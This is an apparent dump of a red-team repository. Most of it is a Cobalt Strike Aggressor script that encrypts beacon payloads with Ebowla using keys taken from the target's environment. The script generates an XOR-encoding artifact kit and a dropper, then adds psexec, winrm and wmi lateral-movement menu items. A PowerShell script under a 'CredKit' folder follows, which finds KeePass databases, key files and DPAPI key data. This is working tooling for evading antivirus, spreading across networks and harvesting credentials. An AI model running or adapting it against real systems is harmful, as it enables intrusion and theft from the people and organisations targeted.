"]; 44 | [$textPaneInstructions setCaretPosition: 0]; 45 | [$scrollPane setViewportView: $textPaneInstructions]; 46 | [$textPaneInstructions setEditable: false]; 47 | 48 | # Panel for selecting the path to the input payload 49 | $payloadInputPanel = [new JPanel]; 50 | [$contentPane add: $payloadInputPanel]; 51 | 52 | $lblPayloadInputPath = [new JLabel: "Path to input payload:"]; 53 | [$payloadInputPanel add: $lblPayloadInputPath]; 54 | 55 | $textFieldPayloadInput = [new JTextField]; 56 | [$payloadInputPanel add: $textFieldPayloadInput]; 57 | [$textFieldPayloadInput setColumns: 15]; 58 | 59 | $btnInputBrowse = [new JButton: "Browse..."]; 60 | [$payloadInputPanel add: $btnInputBrowse]; 61 | 62 | # Logic for the browse button: 63 | [$btnInputBrowse addActionListener: lambda({ 64 | prompt_file_open("Select your input payload", &closure, false,{ 65 | $inputPayloadPath = $1; 66 | [$textFieldPayloadInput setText: $inputPayloadPath]; 67 | }); 68 | })]; 69 | 70 | # Panel for selecting the output type 71 | $outputPanel = [new JPanel]; 72 | [$contentPane add: $outputPanel]; 73 | $lblOutputType = [new JLabel: "Output Type:"]; 74 | [$outputPanel add: $lblOutputType]; 75 | $comboBoxOutput = [new JComboBox]; 76 | [$comboBoxOutput addItem: "Go"]; 77 | [$comboBoxOutput addItem: "Powershell"]; 78 | [$comboBoxOutput addItem: "Python"]; 79 | [$comboBoxOutput setSelectedIndex: 0]; 80 | [$outputPanel add: $comboBoxOutput]; 81 | 82 | 83 | # Panel for selecting Payload Type 84 | $payloadTypePanel = [new JPanel]; 85 | [$contentPane add: $payloadTypePanel]; 86 | 87 | $lblPayloadType = [new JLabel: "Payload Type:"]; 88 | [$payloadTypePanel add: $lblPayloadType]; 89 | 90 | $comboBoxPayload = [new JComboBox]; 91 | 92 | # Logic for the dynamically populated payload combobox: 93 | # Create the models: 94 | $payloadTypeModelPowershell = [new DefaultComboBoxModel: @("EXE", "CODE", "DLL_x86", "DLL_x64", "FILE_DROP")]; #was casted as final 95 | $payloadTypeModelPython = [new DefaultComboBoxModel: @("EXE", "SHELLCODE", "CODE", "FILE_DROP")]; #was casted as final 96 | $payloadTypeModelGo = [new DefaultComboBoxModel: @("EXE", "DLL_x86", "DLL_x64", "SHELLCODE")]; #was casted as final 97 | 98 | # Set 'Go' as the default model (because the default output type is 'Go') 99 | [$comboBoxPayload setModel: $payloadTypeModelGo]; 100 | 101 | # Logic to dynamically populate comboBoxPayload: 102 | [$comboBoxOutput addActionListener: lambda({ 103 | if ([$comboBoxOutput getSelectedItem] eq "Powershell"){ 104 | [$comboBoxPayload setModel: $payloadTypeModelPowershell]; 105 | } else if ([$comboBoxOutput getSelectedItem] eq "Python"){ 106 | [$comboBoxPayload setModel: $payloadTypeModelPython]; 107 | } else { 108 | [$comboBoxPayload setModel: $payloadTypeModelGo]; 109 | } 110 | },)]; 111 | 112 | [$payloadTypePanel add: $comboBoxPayload]; 113 | 114 | # Panel for selecting the key iterations 115 | $keyIterPanel = [new JPanel]; 116 | [$contentPane add: $keyIterPanel]; 117 | 118 | $lblKeyIterations = [new JLabel: "Key iterations:"]; 119 | [$keyIterPanel add: $lblKeyIterations]; 120 | 121 | $textFieldKeyIter = [new JTextField]; 122 | [$textFieldKeyIter setText: "10000"]; 123 | [$keyIterPanel add: $textFieldKeyIter]; 124 | [$textFieldKeyIter setColumns: 10]; 125 | 126 | # Panel for selecting minus bytes 127 | $minusBytesPanel = [new JPanel]; 128 | [$contentPane add: $minusBytesPanel]; 129 | 130 | $lblMinusBytes = [new JLabel: "Minus bytes:"]; 131 | [$minusBytesPanel add: $lblMinusBytes]; 132 | 133 | $textFieldMinusBytes = [new JTextField]; 134 | [$textFieldMinusBytes setText: "1"]; 135 | [$textFieldMinusBytes setColumns: 3]; 136 | [$minusBytesPanel add: $textFieldMinusBytes]; 137 | 138 | # Panel for selecting encryption type 139 | $encTypePanel = [new JPanel]; 140 | [$contentPane add: $encTypePanel]; 141 | 142 | $lblEncType = [new JLabel: "Encryption Type:"]; 143 | [$encTypePanel add: $lblEncType]; 144 | 145 | $comboBoxEncType = [new JComboBox]; 146 | [$comboBoxEncType addItem: "ENV"]; 147 | [$comboBoxEncType addItem: "OTP"]; 148 | [$comboBoxEncType setSelectedIndex: 0]; 149 | [$encTypePanel add: $comboBoxEncType]; 150 | 151 | # Panel for the general configuration editor 152 | $configEditorPanel = [new JPanel]; 153 | [$contentPane add: $configEditorPanel]; 154 | [$configEditorPanel setLayout: [new GridLayout: 0, 1, 0, 0]]; 155 | 156 | $scrollPaneConfigEditor = [new JScrollPane]; 157 | [$scrollPaneConfigEditor setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]]; 158 | [$scrollPaneConfigEditor setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]]; 159 | [$configEditorPanel add: $scrollPaneConfigEditor]; 160 | $dtrpConfigEditor = [new JEditorPane]; 161 | $lblConfigurationEditor = [new JLabel: "Encryption Configuration Editor"]; 162 | [$lblConfigurationEditor setHorizontalAlignment: [SwingConstants CENTER]]; 163 | [$dtrpConfigEditor setContentType: "text/encriched"]; 164 | [$dtrpConfigEditor setText: "[otp_settings]\n # otp is simple, provide one time pad, type, and starting search location\n # type is full otp to reconstruct the malware in memory, or an offset in the file for a symmetric key\n\n otp_type = key # OPTIONS: full, key\n\n\n # File for use with otp\n\n pad = 'explorer.exe'\n\n # Max pad size: Decide the largest pad size to use. \n # 256 ** 3 - 1 (16777215 or 0xffffff) maximum is supported\n # Too small might be a bad idea... \n\n pad_max = 0xffffff\n\n # starting location in the path to start looking if walking the path\n\n scan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\n\n # For use with FULL OTP:\n # Number of max bytes for matching the payload against the OTP \n # -- larger byte width equals possible smaller lookup table but longer build times\n\n byte_width = 9\n\n\n\n[symmetric_settings_win]\n # AES-CFB-256 key from a combination of the any of the following settings.\n # Any of the following can be used, the more specific to your target the better. \n\n\n # set the value to '' if you do not want to use that value\n\n\n # This is not a permanent list. Any env variable can be added below.\n # If you want the env variable to be used, give it a value.\n # These are case insensitive.\n \n [[ENV_VAR]]\n \n username = 'admin'\n computername = ''\n homepath = ''\n homedrive = ''\n Number_of_processors = ''\n processor_identifier = ''\n processor_revision = ''\n userdomain = 'DESKTOP-E1D6G0A'\n systemdrive = ''\n userprofile = ''\n path = ''\n temp = ''\n\n\n [[PATH]]\n \n # Check if a path exists on the workstation\n # Only one path can be used. This is immutable. To use, give it a value and a start location.\n \n # This is the path that will be used as part of the key\n\n path = ''\n \n # You can provide Env Variables that are associated with a path for the start_loc\n # , such as %TEMP%, %APPDATA%, %PROGRAMFILES%\n # You Must use the %ENV VAR% when using env vars for paths!\n # Examples: C:\\Windows, C:\\Program Files, %APPDATA%\n \n start_loc = '%HOMEPATH%'\n\n\n [[IP_RANGES]]\n \n # Network mask for external enumeration 22.23.0.0\n # IP mask should not be used alone more simple to brute force.\n # Support for only 24 16 8 masks or exact ip\n # 12.12.0.0 or 12.12.12.12 or 12.12.0.0 or 12.0.0.0\n \n external_ip_mask = '' \n\n\n [[SYSTEM_TIME]]\n \n # Time Range with BEGING and END in EPOC\n # Should be used with another variable\n # This is a mask: 20161001 or 20161000 or 20160000\n # YEAR, MONTH, DAY\n \n Time_Range = '' \n"]; 165 | [$dtrpConfigEditor setCaretPosition: 0]; 166 | [$scrollPaneConfigEditor setViewportView: $dtrpConfigEditor]; 167 | [$scrollPaneConfigEditor setColumnHeaderView: $lblConfigurationEditor]; 168 | 169 | 170 | # Panel for holding the action buttons 171 | $actionButtonPanel = [new JPanel]; 172 | [$contentPane add: $actionButtonPanel]; 173 | 174 | $btnGenerate = [new JButton: "Generate"]; 175 | [$actionButtonPanel add: $btnGenerate]; 176 | [$btnGenerate addActionListener: lambda({ 177 | $payloadInputPath = [$textFieldPayloadInput getText]; 178 | $outputPayloadType = [$comboBoxOutput getSelectedItem]; 179 | $keyIter = [$textFieldKeyIter getText]; 180 | $minusBytes = [$textFieldMinusBytes getText]; 181 | $payloadType = [$comboBoxPayload getSelectedItem]; 182 | $encType = [$comboBoxEncType getSelectedItem]; 183 | $ebowlaConfig = [$dtrpConfigEditor getText]; 184 | saveEbowlaConfig($payloadInputPath, $outputPayloadType, $keyIter, $minusBytes, $payloadType, $encType, $ebowlaConfig); 185 | # Close the window 186 | [$dialog setVisible: 0]; 187 | })]; 188 | 189 | $btnCancel = [new JButton: "Cancel"]; 190 | [$actionButtonPanel add: $btnCancel]; 191 | [$btnCancel addActionListener: lambda({ 192 | [$dialog setVisible: 0]; 193 | })]; 194 | 195 | # add everything to $dialog and make it visible 196 | [$dialog add: $contentPane]; 197 | [$dialog setVisible: 1]; 198 | } 199 | 200 | 201 | 202 | sub dialog { 203 | local('$dialog'); 204 | $dialog = [new JDialog: $__frame__, $1]; 205 | [$dialog setSize: $2, $3]; 206 | [$dialog setLayout: [new BorderLayout]]; 207 | [$dialog setLocationRelativeTo: $__frame__]; 208 | return $dialog; 209 | } 210 | # Artifacts this will replace: 211 | # artifact32.dll 212 | # artifact32.exe 213 | # artifact64.dll 214 | # artifact64.exe 215 | # dropper32.exe 216 | 217 | # This will not modify the stageless payloads, uac bypass payloads, or service binaries. Finally, it'll only modify them when used through the target menu, and automatically unload them afterwards 218 | 219 | sub generateEbowlaPayloads{ 220 | # Returns a hash of the type of payload, and the path to the payloads 221 | # EXE will return both EXE (for 32 bit), and EXE_64 (for 64 bit) 222 | %ebowlaValues = $1; 223 | %returnPayloadPaths = %(); 224 | 225 | @payloadTypes = @("DLL_x86", "DLL_x64", "FILE_DROP", "EXE"); 226 | foreach $payloadType (@payloadTypes){ 227 | # iterate through each $env_var in %ebowlaValues 228 | # Append each one to the config. 229 | # Generate the temporary ebowla config 230 | $handle = openf(">ebowlatmpconfig.config"); 231 | println($handle, "[Overall]"); 232 | println($handle, "\tEncryption_Type = ENV"); 233 | println($handle, "\toutput_type = powershell"); 234 | println($handle, "\tminus_bytes = 1"); 235 | println($handle, "\tpayload_type = " . $payloadType); 236 | println($handle, "\tkey_iterations = 11337"); 237 | println($handle, "\tclean_output = True"); 238 | # include default otp settings just in case 239 | println($handle, "[otp_settings]\n\totp_type = key\n\tpad='cmd.exe'\n\tpad_max = 0xffffff\n\tscan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\tbyte_width = 9"); 240 | println($handle, "[symmetric_settings_win]\n\t[[ENV_VAR]]"); 241 | foreach $env_var (keys(%ebowlaValues)) { 242 | foreach $value (values(%ebowlaValues, $env_var)){ 243 | println($handle, "\t\t" . $env_var . " = " . "'" . $value . "'"); 244 | } 245 | } 246 | # Include remaining symmetric_settings_win 247 | println($handle, "\t[[PATH]]\n\t\tpath=''"); 248 | 249 | # Select a random startpath from possible startpaths, just to introduce a little more entropy 250 | @startpaths = @('%HOMEPATH', '%USERPROFILE', '%SYSTEMDRIVE%%HOMEPATH%', '%TEMP%', '%SYSTEMDRIVE%\\'); 251 | $startpath = rand(@startpath); 252 | println($handle, "\tstart_loc = '" . $startpath . "'"); 253 | println($handle, "[[IP_RANGES]]\n\texternal_ip_mask = ''\n\t[[SYSTEM_TIME]]\n\tTime_Range = ''"); 254 | closef($handle); 255 | 256 | if ($payloadType eq "DLL_x64"){ 257 | $inputPath = "ebowladx64.ps1"; 258 | } else if ($payloadType eq "EXE"){ 259 | $inputPath = "ebowladx64.ps1"; 260 | add(%returnPayloadPaths, EXE_64 => wait(processEbowlaConfig($inputPath))); 261 | $inputPath = "ebowladx86.ps1"; 262 | } else { 263 | $inputPath = "ebowladx86.ps1"; 264 | } 265 | wait(processEbowlaConfig($inputPath)); 266 | add(%returnPayloadPaths, $payloadType => wait(processEbowlaConfig($inputPath))); 267 | } 268 | return %returnPayloadPaths; 269 | } 270 | 271 | sub saveNLoadArtifactCNA{ 272 | # Save 273 | mkdir("/tmp/fullbowla/"); 274 | $data = "# Artifact Kit Integration Script\n\n# Windows Executables and DLLs\n#\n# Arguments\n# \t\$1 = artifact file (e.g., artifact32.exe)\n# \t\$2 = shellcode\n# Return \n#\tour generated artifact\nset EXECUTABLE_ARTIFACT_GENERATOR {\n\tlocal('\$handle \$data \$key \$index \$payload \$resource \$buffer \$b \$x');\n\n\t(\$resource, \$payload) = @_;\n\n\t# try again or use the default artifact... I don't have it!\n\tif (!-exists script_resource(\$resource)) {\n\t\treturn \$null;\n\t}\n\n\t# read in the executable template\n\t\$handle = openf(script_resource(\$resource));\n\t\$data = readb(\$handle, -1);\n\tclosef(\$handle);\n\n\t# generate a random key\n\t\$key = @();\n\t\$key[0] = int(rand() * 253) + 1;\n\t\$key[1] = int(rand() * 253) + 1;\n\t\$key[2] = int(rand() * 253) + 1;\n\t\$key[3] = int(rand() * 253) + 1;\n\n\t# find the location of our data in the executable\n\t\$index = indexOf(\$data, 'A' x 1024);\n\n\t# pack data into a buffer \n\t\$buffer = allocate(1024);\n\n\t# [offset of payload data in binary] - 4 bytes\n\twriteb(\$buffer, pack(\"i-\", \$index + 16));\n\n\t# [length of payload] - 4 bytes\n\twriteb(\$buffer, pack(\"i-\", strlen(\$payload)));\n\n\t# [xor key] - 4 bytes\n\twriteb(\$buffer, chr(\$key[0]) );\n\twriteb(\$buffer, chr(\$key[1]) );\n\twriteb(\$buffer, chr(\$key[2]) );\n\twriteb(\$buffer, chr(\$key[3]) );\n\n\t# [padding] - 4 bytes\n\twriteb(\$buffer, 'aaaa');\n\n\t# pack our encoded payload into the buffer\n\tfor (\$x = 0; \$x < strlen(\$payload); \$x++) {\n\t\twriteb( \$buffer, chr( (byteAt(\$payload, \$x) ^ \$key[\$x % 4]) & 0xFF ) );\n\t}\n\n\t# retrieve the contents of the buffer.\n\tclosef(\$buffer);\n\t\$b = readb(\$buffer, -1);\n\n\t# return our encoded shellcode.\n\treturn replaceAt(\$data, \"\$[1024]b\", \$index);\n}\n\n# Attacks -> Packages -> Windows Dropper\n# \n# Arguments\n# \t\$1 = our previously patched executable\n# \$2 = local path to file to include in the dropper.\n# \$3 = name of file to drop to disk\n# Return \n#\tour generated Windows dropper artifact\nset DROPPER_ARTIFACT_GENERATOR {\n\tlocal('\$handle \$dropme \$file \$data \$blob \$index \$dropas');\n\n\t(\$data, \$file, \$dropas) = @_;\n\n\t# open the file to drop\n\t\$handle = openf(\$file);\n\t\$dropme = readb(\$handle, -1);\n\tclosef(\$handle);\n\n\t# pack some info that the dropper will use\n\t\t\t\t# length of dropped file name + NULL terminator\n\t\t\t\t\t\t# length of dropped data\n\t\$blob = pack(\"i-i-\", strlen(\$dropas) + 1, strlen(\$dropme));\n\n\t# locate our patch location...\n\t\$index = indexOf(\$data, 'DROPPER!');\n\n\t# patch our exe with the info\n\t\$data = replaceAt(\$data, \$blob, \$index);\n\n\t# return our assembled file please\n\treturn \$data . \"\$dropas \$+ \\x00\" . \$dropme;\n}\n"; 275 | $handle = openf(">/tmp/fullbowla/ebowlaArtifact.cna"); 276 | println($handle); 277 | closef($handle); 278 | # N load 279 | include("ebowlaArtifact.cna"); 280 | } 281 | 282 | sub processEbowlaConfig{ 283 | #1 = path to the input payload 284 | local("$inputPath"); 285 | $inputPath = $1; 286 | $genEbowlaPayload = exec("ebowla.py " . $inputPath . " ebowlatmpconfig.config"); 287 | @pushPayloadGen = readAll($genEbowlaPayload); 288 | 289 | # Wait up to 10 seconds for the payload to be generated. 290 | $returnValue = wait($genEbowlaPayload, 10 * 1000); 291 | if ($returnValue == 0) { 292 | $answer = search(@pushPayloadGen, &vaildPathCriteria); 293 | if ($answer ne $null){ 294 | @generatedPathArray = split(': ', $answer, 2); 295 | $rtnPayload = cwd() . "/output/" . @generatedPathArray[1]; 296 | } 297 | closef($genEbowlaPayload); 298 | } else { 299 | printAll(@pushPayloadGen); 300 | show_error("Something went wrong when trying to generate payload. Please see Script Console for more info"); 301 | closef($genEbowlaPayload); 302 | } 303 | # remove the generated config 304 | deleteFile("ebowlatmpconfig.config"); 305 | return $rtnPayload; 306 | } 307 | 308 | 309 | sub vaildPathCriteria{ 310 | return iff("[*] Writing" isin $1, "$1", $null); 311 | } 312 | 313 | sub getTargetValue{ 314 | # $1 = Target IP address 315 | # $2 = Value to return (address, os, name, version) 316 | local('$provided_target $desired_value'); 317 | $provided_target = $1; 318 | $desired_value = $2; 319 | $target_list = data_query("targets"); 320 | 321 | foreach $target ($target_list){ 322 | if ($target['address'] eq $provided_target) { 323 | return ($target[$desired_value]); 324 | } 325 | } 326 | } 327 | 328 | sub generateInitalArtifact{ 329 | local('$data $listener'); 330 | # Have the user select a listener from listeners_local(), which returns an array of listener names 331 | $data = artifact($listener, "powershell", true, "x86"); 332 | $handle = openf(">ebowladx86.ps1"); 333 | writeb($handle, $data); 334 | closef($handle); 335 | $data = artifact($listener, "powershell", true, "x64"); 336 | $handle = openf(">ebowladx64.ps1"); 337 | writeb($handle, $data); 338 | closef($handle); 339 | } 340 | 341 | sub executeJump{ 342 | # You'll have DLL_x64, DLL_x86, EXE, EXE_64, and FILE_DROP 343 | foreach $payloadType (keys(%ebowlaPayloads)) { 344 | foreach $payloadPath (values(%ebowlaPayloads)) { 345 | if ($payloadType eq "DLL_x64") { 346 | wait(mv($payloadPath, "/tmp/fullbowla/artifact64.dll")); 347 | } else if ($payloadType eq "DLL_x86") { 348 | wait(mv($payloadPath, "/tmp/fullbowla/artifact32.dll")); 349 | } else if ($payloadType eq "EXE_x64") { 350 | wait(mv($payloadPath, "/tmp/fullbowla/artifact64.exe")); 351 | } else if ($payloadType eq "EXE_x86") { 352 | wait(mv($payloadPath, "/tmp/fullbowla/artifact32.exe")); 353 | } else { 354 | wait(mv($payladPath, "/tmp/fullbowla/dropper32.exe")); 355 | } 356 | } 357 | } 358 | include("/tmp/fullbowla/ebowlaArtifact.cna"); 359 | openPayloadDialog($jmpType, $target); 360 | } 361 | 362 | sub rmrf{ 363 | # executes a rm -rf on $1 (no user modifiable input should taken when using this...) 364 | $process = exec("rm -rf " . $1); 365 | @data = readAll($process); 366 | closef($process); 367 | } 368 | 369 | sub mv{ 370 | # executes a mv of $1 to $2 (no user modifiable input should taken when using this...) 371 | $process = exec("mv " . $1 . " " . $2); 372 | @data = readAll($process); 373 | closef($process); 374 | } 375 | 376 | popup targets{ 377 | # General workflow here: 378 | # 1. Generate a 32-bit and 64-bit powershell payloads through cobalt strike 379 | # 2. load the payload into ebowla and generate as many artifacts as possible (DLL_x86, DLL_x64, EXE), using values grabbed from targets 380 | # 3. load new artifacts 381 | # 4. execute the desired action (psexec, etc) (see default.cna) 382 | # 5. unload new artifacts 383 | # 6. Repeat steps 1-5 for each selected target 384 | 385 | # $1 selected host 386 | menu "Login (Ebowla)" { 387 | item "psexec" { 388 | local('$target $target_list $target_name $target_username $target_domain $jmpType'); 389 | $jmpType = "psexec"; 390 | foreach $target ($1) { 391 | $target_name = wait(getTargetValue($target, "name")); 392 | # TODO: Determine how to grab username and domain from selected login 393 | # $target_username = 394 | # $target_domain = 395 | wait(generateInitalArtifact()); 396 | # %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain); 397 | %ebowlaValues = %(computername => $target_name); 398 | # Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit. 399 | %ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues)); 400 | wait(saveNLoadArtifactCNA()); 401 | # For execution of what was requested and wait for it to finish 402 | # Forking will create a new thread and script environment to ensure we 403 | # don't have any issue loading the new artifact kit 404 | # TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we 405 | # have to wait until each target selected responds to a response from openJumpDialog? 406 | # The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target, 407 | # instead of the norm where they just select one jump and it applies to every target. 408 | $handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads); 409 | wait($handle); 410 | wait(rmrf("/tmp/fullbowla")); 411 | } 412 | } 413 | item "psexec (psh)" { 414 | local('$target $target_list $target_name $target_username $target_domain $jmpType'); 415 | $jmpType = "psexec_psh"; 416 | foreach $target ($1) { 417 | $target_name = wait(getTargetValue($target, "name")); 418 | # TODO: Determine how to grab username and domain from selected login 419 | # $target_username = 420 | # $target_domain = 421 | wait(generateInitalArtifact()); 422 | # %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain); 423 | %ebowlaValues = %(computername => $target_name); 424 | # Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit. 425 | %ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues)); 426 | wait(saveNLoadArtifactCNA()); 427 | # For execution of what was requested and wait for it to finish 428 | # Forking will create a new thread and script environment to ensure we 429 | # don't have any issue loading the new artifact kit 430 | # TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we 431 | # have to wait until each target selected responds to a response from openJumpDialog? 432 | # The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target, 433 | # instead of the norm where they just select one jump and it applies to every target. 434 | $handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads); 435 | wait($handle); 436 | wait(rmrf("/tmp/fullbowla")); 437 | } 438 | } 439 | item "winrm" { 440 | local('$target $target_list $target_name $target_username $target_domain $jmpType'); 441 | $jmpType = "winrm"; 442 | foreach $target ($1) { 443 | $target_name = wait(getTargetValue($target, "name")); 444 | # TODO: Determine how to grab username and domain from selected login 445 | # $target_username = 446 | # $target_domain = 447 | wait(generateInitalArtifact()); 448 | # %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain); 449 | %ebowlaValues = %(computername => $target_name); 450 | # Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit. 451 | %ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues)); 452 | wait(saveNLoadArtifactCNA()); 453 | # For execution of what was requested and wait for it to finish 454 | # Forking will create a new thread and script environment to ensure we 455 | # don't have any issue loading the new artifact kit 456 | # TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we 457 | # have to wait until each target selected responds to a response from openJumpDialog? 458 | # The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target, 459 | # instead of the norm where they just select one jump and it applies to every target. 460 | $handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads); 461 | wait($handle); 462 | wait(rmrf("/tmp/fullbowla")); 463 | } 464 | } 465 | item "wmi (psh)"{ 466 | local('$target $target_list $target_name $target_username $target_domain $jmpType'); 467 | $jmpType = "psexec_psh"; 468 | foreach $target ($1) { 469 | $target_name = wait(getTargetValue($target, "name")); 470 | # TODO: Determine how to grab username and domain from selected login 471 | # $target_username = 472 | # $target_domain = 473 | wait(generateInitalArtifact()); 474 | # %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain); 475 | %ebowlaValues = %(computername => $target_name); 476 | # Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit. 477 | %ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues)); 478 | wait(saveNLoadArtifactCNA()); 479 | # For execution of what was requested and wait for it to finish 480 | # Forking will create a new thread and script environment to ensure we 481 | # don't have any issue loading the new artifact kit 482 | # TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we 483 | # have to wait until each target selected responds to a response from openJumpDialog? 484 | # The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target, 485 | # instead of the norm where they just select one jump and it applies to every target. 486 | $handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads); 487 | wait($handle); 488 | wait(rmrf("/tmp/fullbowla")); 489 | } 490 | } 491 | } 492 | } 493 | 494 | popup attacks{ 495 | item ("Generate Ebowla Payload", { 496 | ebowlaHelperConfigPopup(); 497 | }); 498 | } 499 | -------------------------------------------------------------------------------- /kits/CredKit/scripts/KeePassConfig.ps1: -------------------------------------------------------------------------------- 1 | #requires -version 2 2 | 3 | function Find-KeePassconfig { 4 | <# 5 | .SYNOPSIS 6 | 7 | Finds and parses any KeePass.config.xml (2.X) and KeePass.ini (1.X) files. 8 | 9 | Author: @harmj0y 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .DESCRIPTION 15 | 16 | This function searches for any KeePass.config.xml (KeePass 2.X) and KeePass.ini (1.X) files in C:\Users\ 17 | and C:\Program Files[x86]\ by default, or any path specified by -Path. For any files found, it will 18 | parse the XML and output information relevant to the database location and keyfile/user master key information. 19 | 20 | .PARAMETER Path 21 | 22 | Optional path to a KeePass.config.xml/KeePass.ini file or specific folder to search for KeePass config files. 23 | 24 | .EXAMPLE 25 | 26 | PS C:\> Find-KeePassconfig 27 | 28 | DefaultDatabasePath : C:\Users\testuser\Desktop\Database2.kdb 29 | SecureDesktop : 30 | LastUsedFile : C:\Users\testuser\Desktop\Database3.kdb 31 | DefaultKeyFilePath : C:\Users\testuser\Desktop\k.bin 32 | DefaultUserAccountData : 33 | RecentlyUsed : {C:\Users\testuser\Desktop\Database3.kdb, C:\Users\testuser\Desktop\k2.bin} 34 | KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-1.31\KeePass.ini 35 | 36 | DefaultDatabasePath : C:\Users\testuser\Desktop\NewDatabase.kdbx 37 | SecureDesktop : False 38 | LastUsedFile : C:\Users\testuser\Desktop\NewDatabase.kdbx 39 | DefaultKeyFilePath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.chm 40 | DefaultUserAccountData : @{UserDomain=TESTLAB; UserKeePassDPAPIBlob=C:\Users\testuser\AppData\Roaming\KeePass\Protected 41 | UserKey.bin; UserSid=S-1-5-21-456218688-4216621462-1491369290-1210; UserName=testuser; UserMas 42 | terKeyFiles=System.Object[]} 43 | RecentlyUsed : {C:\Users\testuser\Desktop\NewDatabase.kdbx} 44 | KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.config.xml 45 | #> 46 | 47 | [CmdletBinding()] 48 | param( 49 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 50 | [ValidateScript({Test-Path -Path $_ })] 51 | [Alias('FullName')] 52 | [String[]] 53 | $Path 54 | ) 55 | 56 | BEGIN { 57 | 58 | function local:Get-IniContent { 59 | <# 60 | .SYNOPSIS 61 | 62 | This helper parses an .ini file into a proper PowerShell object. 63 | 64 | Author: 'The Scripting Guys' 65 | Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ 66 | 67 | .LINK 68 | 69 | https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ 70 | #> 71 | [CmdletBinding()] 72 | Param( 73 | [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] 74 | [Alias('FullName')] 75 | [ValidateScript({ Test-Path -Path $_ })] 76 | [String[]] 77 | $Path 78 | ) 79 | 80 | PROCESS { 81 | ForEach($TargetPath in $Path) { 82 | $IniObject = @{} 83 | Switch -Regex -File $TargetPath { 84 | "^\[(.+)\]" # Section 85 | { 86 | $Section = $matches[1].Trim() 87 | $IniObject[$Section] = @{} 88 | $CommentCount = 0 89 | } 90 | "^(;.*)$" # Comment 91 | { 92 | $Value = $matches[1].Trim() 93 | $CommentCount = $CommentCount + 1 94 | $Name = 'Comment' + $CommentCount 95 | $IniObject[$Section][$Name] = $Value 96 | } 97 | "(.+?)\s*=(.*)" # Key 98 | { 99 | $Name, $Value = $matches[1..2] 100 | $Name = $Name.Trim() 101 | $Values = $Value.split(',') | ForEach-Object {$_.Trim()} 102 | if($Values -isnot [System.Array]) {$Values = @($Values)} 103 | $IniObject[$Section][$Name] = $Values 104 | } 105 | } 106 | $IniObject 107 | } 108 | } 109 | } 110 | 111 | function Local:Get-KeePassINIFields { 112 | # helper that parses a 1.X KeePass.ini into a custom object 113 | [CmdletBinding()] 114 | Param ( 115 | [Parameter(Mandatory=$True)] 116 | [ValidateScript({ Test-Path -Path $_ })] 117 | [String] 118 | $Path 119 | ) 120 | 121 | $KeePassINIPath = Resolve-Path -Path $Path 122 | $KeePassINIPathParent = $KeePassINIPath | Split-Path -Parent 123 | $KeePassINI = Get-IniContent -Path $KeePassINIPath 124 | $RecentlyUsed = @() 125 | 126 | try { 127 | if($KeePassINI.KeePass.KeeLastDb) { 128 | $LastUsedFile = Resolve-Path -Path "$KeePassINIPathParent\$($KeePassINI.KeePass.KeeLastDb)" -ErrorAction Stop 129 | } 130 | } 131 | catch {} 132 | 133 | try { 134 | if($KeePassINI.KeePass.KeeKeySourceID0) { 135 | $DefaultDatabasePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceID0 -ErrorAction SilentlyContinue 136 | } 137 | } 138 | catch {} 139 | 140 | try { 141 | if($KeePassINI.KeePass.KeeKeySourceValue0) { 142 | $DefaultKeyFilePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceValue0 -ErrorAction SilentlyContinue 143 | } 144 | } 145 | catch {} 146 | 147 | # grab any additional cached databases/key information 148 | $KeePassINI.KeePass.Keys | Where-Object {$_ -match 'KeeKeySourceID[1-9]+'} | Foreach-Object { 149 | try { 150 | $ID = $_[-1] 151 | $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceID${ID}"] 152 | $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceValue${ID}"] 153 | } 154 | catch{} 155 